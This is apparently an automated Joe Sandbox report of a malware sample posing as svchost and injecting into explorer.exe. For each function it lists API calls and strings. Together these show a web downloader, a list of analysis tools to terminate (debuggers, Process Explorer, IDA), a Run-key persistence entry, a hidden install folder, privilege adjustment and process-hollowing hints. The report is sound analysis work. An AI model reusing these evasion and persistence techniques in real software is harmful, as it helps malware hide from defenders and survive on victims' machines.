Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: 020606dac09714d876f732298f71c3bfad47b6361a535e3c1c12f93051d4a690
Instruction ID: 7b04c2d590a9c3e8e16843158e40dbb655ed5f50ba199dff17405d73dbb564fc
Opcode Fuzzy Hash: 020606dac09714d876f732298f71c3bfad47b6361a535e3c1c12f93051d4a690
Instruction Fuzzy Hash: FF32CA32608AC2C6D774CB15E8987AAB7B1FB99B44F405139DA8D93B58EF3CD548CB10

Function 00007FF68DEA1CDC Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138networksleepmemoryCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF68DEA1D20
Sleep.KERNEL32 ref: 00007FF68DEA1D38
InternetOpenUrlW.WININET ref: 00007FF68DEA1D64
InternetOpenUrlW.WININET ref: 00007FF68DEA1D9B
InternetCloseHandle.WININET ref: 00007FF68DEA1DB3
Sleep.KERNEL32 ref: 00007FF68DEA1DBE
HttpQueryInfoA.WININET ref: 00007FF68DEA1DEE
InternetCloseHandle.WININET ref: 00007FF68DEA1DFD
InternetCloseHandle.WININET ref: 00007FF68DEA1E08
Sleep.KERNEL32 ref: 00007FF68DEA1E13
InternetCloseHandle.WININET ref: 00007FF68DEA1E2D
InternetOpenUrlW.WININET ref: 00007FF68DEA1E57
InternetCloseHandle.WININET ref: 00007FF68DEA1E6F
Sleep.KERNEL32 ref: 00007FF68DEA1E7A
HttpQueryInfoA.WININET ref: 00007FF68DEA1EB2
GetProcessHeap.KERNEL32 ref: 00007FF68DEA1EC1
RtlAllocateHeap.NTDLL ref: 00007FF68DEA1ED7
InternetCloseHandle.WININET ref: 00007FF68DEA1EEF
InternetCloseHandle.WININET ref: 00007FF68DEA1EFA
InternetReadFile.WININET ref: 00007FF68DEA1F37
InternetCloseHandle.WININET ref: 00007FF68DEA1F6D
InternetCloseHandle.WININET ref: 00007FF68DEA1F78

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF68DEA1D19

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocateFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 2307068205-2771526726
Opcode ID: 1d6439b4b7b4c33b889769c58a8dd001a4713a0aee7d85e729a6ddd97db8bc66
Instruction ID: 5f6490b314b122787ceb2bb7af227ebbb24eeb8dfcfedb5f4bba4b6cca63fc9a
Opcode Fuzzy Hash: 1d6439b4b7b4c33b889769c58a8dd001a4713a0aee7d85e729a6ddd97db8bc66
Instruction Fuzzy Hash: 0F71D876618A82C2E750DB54F49836AB7B0FBE4795F105039FA8E93A68DF7CD448CB10

Function 00007FF68DEA30DC Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF68DEA45C4: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3117), ref: 00007FF68DEA460C
Part of subcall function 00007FF68DEA45C4: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3117), ref: 00007FF68DEA4649
Part of subcall function 00007FF68DEA45C4: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3117), ref: 00007FF68DEA4654

Part of subcall function 00007FF68DEA3B84: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA311C), ref: 00007FF68DEA3BC7
Part of subcall function 00007FF68DEA3B84: RegSetValueExW.ADVAPI32 ref: 00007FF68DEA3BFD
Part of subcall function 00007FF68DEA3B84: RegCloseKey.ADVAPI32 ref: 00007FF68DEA3C0C

Part of subcall function 00007FF68DEA3C24: RegDeleteKeyW.ADVAPI32 ref: 00007FF68DEA3C3C

Part of subcall function 00007FF68DEA3E24: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF68DEA3E37

Part of subcall function 00007FF68DEA3E24: Process32FirstW.KERNEL32 ref: 00007FF68DEA3E6A
Part of subcall function 00007FF68DEA3E24: CloseHandle.KERNEL32 ref: 00007FF68DEA3E7C

Part of subcall function 00007FF68DEA3E24: wcscmp.MSVCRT ref: 00007FF68DEA3E91
Part of subcall function 00007FF68DEA3E24: OpenProcess.KERNEL32 ref: 00007FF68DEA3EA7
Part of subcall function 00007FF68DEA3E24: TerminateProcess.KERNEL32 ref: 00007FF68DEA3ECA
Part of subcall function 00007FF68DEA3E24: CloseHandle.KERNEL32 ref: 00007FF68DEA3ED8
Part of subcall function 00007FF68DEA3E24: Process32NextW.KERNEL32 ref: 00007FF68DEA3EEB
Part of subcall function 00007FF68DEA3E24: CloseHandle.KERNEL32 ref: 00007FF68DEA3EFD

Part of subcall function 00007FF68DEA39B4: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF68DEA3B0C), ref: 00007FF68DEA39E4

Sleep.KERNEL32 ref: 00007FF68DEA31C6

Strings

idaq64.exe, xrefs: 00007FF68DEA317E
TOTALCMD.exe, xrefs: 00007FF68DEA3166
procexp.exe, xrefs: 00007FF68DEA314E
autoruns.exe, xrefs: 00007FF68DEA3196
x64dbg.exe, xrefs: 00007FF68DEA3172
procexp64.exe, xrefs: 00007FF68DEA315A
ProcessHacker.exe, xrefs: 00007FF68DEA3142
Services, xrefs: 00007FF68DEA31B5
idaq.exe, xrefs: 00007FF68DEA318A
procmon.exe, xrefs: 00007FF68DEA31A2

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: 214aab143e36c6a3a1886c25ccf32431eea88663dedd73175290a620f2c5ce1f
Instruction ID: 5791abb776b5fa69ef5584a59f7856735141faaaecdecbad8be0c1b4fffe53be
Opcode Fuzzy Hash: 214aab143e36c6a3a1886c25ccf32431eea88663dedd73175290a620f2c5ce1f
Instruction Fuzzy Hash: D8218820A18943D1EA14FBA0D89A1BC67B0BFB1754F90453DE42DE21E6FE2CA94DC630

Function 00007FF68DEA2E6C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF68DEA2E85
ReleaseMutex.KERNEL32 ref: 00007FF68DEA2E9D
CloseHandle.KERNEL32 ref: 00007FF68DEA2EA8
GetLastError.KERNEL32 ref: 00007FF68DEA2EB5
ReleaseMutex.KERNEL32 ref: 00007FF68DEA2EC7
CloseHandle.KERNEL32 ref: 00007FF68DEA2ED2

Strings

rbNSpGEsyb, xrefs: 00007FF68DEA2E70

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: c0b91fde05768c042ee2ac6d43adbd0a2db16a5cee25255770f8e6d070b9d3af
Instruction ID: dc1a87cfb23386d0bfae3649df436fdaf7635926d77a21a81a4a0eb5a94b329e
Opcode Fuzzy Hash: c0b91fde05768c042ee2ac6d43adbd0a2db16a5cee25255770f8e6d070b9d3af
Instruction Fuzzy Hash: E401ED22A0CA03C1E721EB11E88826D6770FFE8B55F155139D94EE2664EF3CD5CDC610

Function 00007FF68DEA3E24 Relevance: 13.5, APIs: 9, Instructions: 44processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF68DEA3E37
Process32FirstW.KERNEL32 ref: 00007FF68DEA3E6A
CloseHandle.KERNEL32 ref: 00007FF68DEA3E7C

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 5d86f73275321031dd76b49c9948b61abcc843b1cbc31f42c8ec41072895b809
Instruction ID: a99da8f5d5f06dd36ea7e0df1cc2e597d1bdd6ddb2b72126dea9aa4c398f6f15
Opcode Fuzzy Hash: 5d86f73275321031dd76b49c9948b61abcc843b1cbc31f42c8ec41072895b809
Instruction Fuzzy Hash: 1C21AA31A0CA86C1E670DB11E88C36A63B0FFE4755F104239D99E925A8EF2DD949CB10

Function 00007FF68DEA2F0C Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF68DEA2F1E
ReleaseMutex.KERNEL32 ref: 00007FF68DEA2F36
CloseHandle.KERNEL32 ref: 00007FF68DEA2F41
GetLastError.KERNEL32 ref: 00007FF68DEA2F4E
ReleaseMutex.KERNEL32 ref: 00007FF68DEA2F60
CloseHandle.KERNEL32 ref: 00007FF68DEA2F6B

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: 8653a772b6c1b6a01af8be04a7d1a20e2c03a294286a54eab86cbb4ac1353a7c
Instruction ID: 15a128c90526c1afb7aab3c2965dbe5aed3c3f402ab572140ae67f1b4e50f291
Opcode Fuzzy Hash: 8653a772b6c1b6a01af8be04a7d1a20e2c03a294286a54eab86cbb4ac1353a7c
Instruction Fuzzy Hash: C101CC26A1CA43C2E721EB21E88826D6370FFE8B45F511139E98EE2664DE6CD58DC610

Function 00007FF68DEA3CE4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF68DEA3D01
PathFindFileNameW.SHLWAPI ref: 00007FF68DEA3D14
wcslen.MSVCRT ref: 00007FF68DEA3D2A
wcsncpy.MSVCRT ref: 00007FF68DEA3DEF

Strings

Unknown, xrefs: 00007FF68DEA3DE0

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: f2d689744fc7b439bf53b695258597b9eba8ab60145e53c7feb69784c68e6deb
Instruction ID: 7f24de335b6f0dc8c1d93a027c660ad14ee291507be28fe22535a50bd0305579
Opcode Fuzzy Hash: f2d689744fc7b439bf53b695258597b9eba8ab60145e53c7feb69784c68e6deb
Instruction Fuzzy Hash: 8D31A67661CAC1C5D670DB19E4987AEA3B0FB98740F400229DA8DD3B68EF3DD554CB10

Function 00007FF68DEA3A74 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF68DEA3744: GetWindowsDirectoryW.KERNEL32 ref: 00007FF68DEA3784
Part of subcall function 00007FF68DEA3744: GetVolumeInformationW.KERNELBASE ref: 00007FF68DEA3801
Part of subcall function 00007FF68DEA3744: wsprintfW.USER32 ref: 00007FF68DEA38A2

Part of subcall function 00007FF68DEA38C4: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA390D
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3922
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3935
Part of subcall function 00007FF68DEA38C4: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3945
Part of subcall function 00007FF68DEA38C4: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3958
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA396D
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3980
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3995

GetModuleFileNameW.KERNEL32 ref: 00007FF68DEA3AB9
DeleteFileW.KERNEL32 ref: 00007FF68DEA3AC4
CopyFileW.KERNEL32 ref: 00007FF68DEA3ADD
SetFileAttributesW.KERNEL32 ref: 00007FF68DEA3AF5

Strings

Services, xrefs: 00007FF68DEA3B00

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: 311e9769a5f9042a1c4d1274615ef5c6319402c3cf93bf79ed3cbc3423f0458e
Instruction ID: 5734ac01ae76ccfe2850fa3f26ecf3067400e83cdd398f7d4ae9afe04282796b
Opcode Fuzzy Hash: 311e9769a5f9042a1c4d1274615ef5c6319402c3cf93bf79ed3cbc3423f0458e
Instruction Fuzzy Hash: 75018461B18983D2EB60EB24E4993AA53B0FFA4744F90443AD24DC35A8FE2CD60DCB10

Function 00007FF68DEA3B84 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA311C), ref: 00007FF68DEA3BC7
RegSetValueExW.ADVAPI32 ref: 00007FF68DEA3BFD
RegCloseKey.ADVAPI32 ref: 00007FF68DEA3C0C

Strings

Hidden, xrefs: 00007FF68DEA3B94
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF68DEA3B88

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: 7060d5503734189d45e9b87f1606f2d82071d756b948eb52710f5919d09f1e4f
Instruction ID: 1acb518866e53ac031391ee25a1ae793994fa991a5aaa783e6714997e4b0282e
Opcode Fuzzy Hash: 7060d5503734189d45e9b87f1606f2d82071d756b948eb52710f5919d09f1e4f
Instruction Fuzzy Hash: A3012976618A81CAD750DF14F84871AB7B4FB98794F801229EB8D83B68EF7CC149CB10

Function 00007FF68DEA39B4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF68DEA3B0C), ref: 00007FF68DEA39E4
RegSetValueExW.ADVAPI32 ref: 00007FF68DEA3A39
RegCloseKey.ADVAPI32 ref: 00007FF68DEA3A48

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF68DEA39D6

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
Opcode ID: 5fdf8a34efa352080ba6f6553334769d4c7d7706005dac43f85eff4b5ffc39d8
Instruction ID: 41f71ba94eb4d8273bc1e4196d4eaeb05e8b2b7a57b838ea78c5fad680b4a412
Opcode Fuzzy Hash: 5fdf8a34efa352080ba6f6553334769d4c7d7706005dac43f85eff4b5ffc39d8
Instruction Fuzzy Hash: 3E116336628B41C6D7909B54F48462A77A0FB947A0F105334F9AE93BE8EF7CD049CB10

Function 00007FF68DEA2F9C Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF68DEA38C4: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA390D
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3922
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3935
Part of subcall function 00007FF68DEA38C4: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3945
Part of subcall function 00007FF68DEA38C4: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3958
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA396D
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3980
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3995

Part of subcall function 00007FF68DEA46E4: CreateFileW.KERNELBASE ref: 00007FF68DEA472B

Part of subcall function 00007FF68DEA40E4: GetCurrentProcess.KERNEL32 ref: 00007FF68DEA414B
Part of subcall function 00007FF68DEA40E4: OpenProcessToken.ADVAPI32 ref: 00007FF68DEA415E
Part of subcall function 00007FF68DEA40E4: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF68DEA4186
Part of subcall function 00007FF68DEA40E4: AdjustTokenPrivileges.KERNELBASE ref: 00007FF68DEA41B1
Part of subcall function 00007FF68DEA40E4: CloseHandle.KERNEL32 ref: 00007FF68DEA41BC
Part of subcall function 00007FF68DEA40E4: OpenProcess.KERNEL32 ref: 00007FF68DEA41D1
Part of subcall function 00007FF68DEA40E4: CloseHandle.KERNEL32 ref: 00007FF68DEA4249

GetProcessHeap.KERNEL32 ref: 00007FF68DEA3037
HeapFree.KERNEL32 ref: 00007FF68DEA304A

Strings

.x64, xrefs: 00007FF68DEA2FEE
chFrWWdQWsLFevUr, xrefs: 00007FF68DEA2FDB

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: lstrcat$Process$CloseCreateFileHandleHeapOpenToken$AdjustAttributesCurrentDirectoryFolderFreeLookupPathPrivilegePrivilegesValue
String ID: .x64$chFrWWdQWsLFevUr
API String ID: 3992431006-2286007224
Opcode ID: 66002f7cc1a048e7c990725712f415c121466e6a21f61a925546d1bd52d36aeb
Instruction ID: 7a8b3c30e32011f90bd63dde54b8ba7225fb7d54ddbd0c3671fb8ad49ede45eb
Opcode Fuzzy Hash: 66002f7cc1a048e7c990725712f415c121466e6a21f61a925546d1bd52d36aeb
Instruction Fuzzy Hash: 0711C534A28A83C5E710EB54E88D3A967B0FFA4704F504139D54CE66A5FF7CA05DCB60

Analysis Process: explorer.exePID: 2592, Parent PID: 2012COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	10.2%
Total number of Nodes:	413
Total number of Limit Nodes:	50

Executed Functions

Function 0C5B5590 Relevance: 667.9, APIs: 171, Strings: 210, Instructions: 1153
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0C5B617B
GetProcAddress.KERNEL32 ref: 0C5B6187
LoadLibraryA.KERNEL32 ref: 0C5B61AC
LoadLibraryA.KERNEL32 ref: 0C5B61C1
LoadLibraryA.KERNEL32 ref: 0C5B61D1
LoadLibraryA.KERNEL32 ref: 0C5B61E6
LoadLibraryA.KERNEL32 ref: 0C5B61F6
LoadLibraryA.KERNEL32 ref: 0C5B620B
LoadLibraryA.KERNEL32 ref: 0C5B621B
LoadLibraryA.KERNEL32 ref: 0C5B622B
LoadLibraryA.KERNEL32 ref: 0C5B623B
LoadLibraryA.KERNEL32 ref: 0C5B624B
LoadLibraryA.KERNEL32 ref: 0C5B625B
LoadLibraryA.KERNEL32 ref: 0C5B626B
GetProcAddress.KERNEL32 ref: 0C5B6285
GetProcAddress.KERNEL32 ref: 0C5B62B9
GetProcAddress.KERNEL32 ref: 0C5B62D5
GetProcAddress.KERNEL32 ref: 0C5B62F1
GetProcAddress.KERNEL32 ref: 0C5B630D
GetProcAddress.KERNEL32 ref: 0C5B6329
GetProcAddress.KERNEL32 ref: 0C5B6340
GetProcAddress.KERNEL32 ref: 0C5B6357
GetProcAddress.KERNEL32 ref: 0C5B6373
GetProcAddress.KERNEL32 ref: 0C5B638F
GetProcAddress.KERNEL32 ref: 0C5B63AB
GetProcAddress.KERNEL32 ref: 0C5B63C2
GetProcAddress.KERNEL32 ref: 0C5B63DE
GetProcAddress.KERNEL32 ref: 0C5B63F5
GetProcAddress.KERNEL32 ref: 0C5B640C
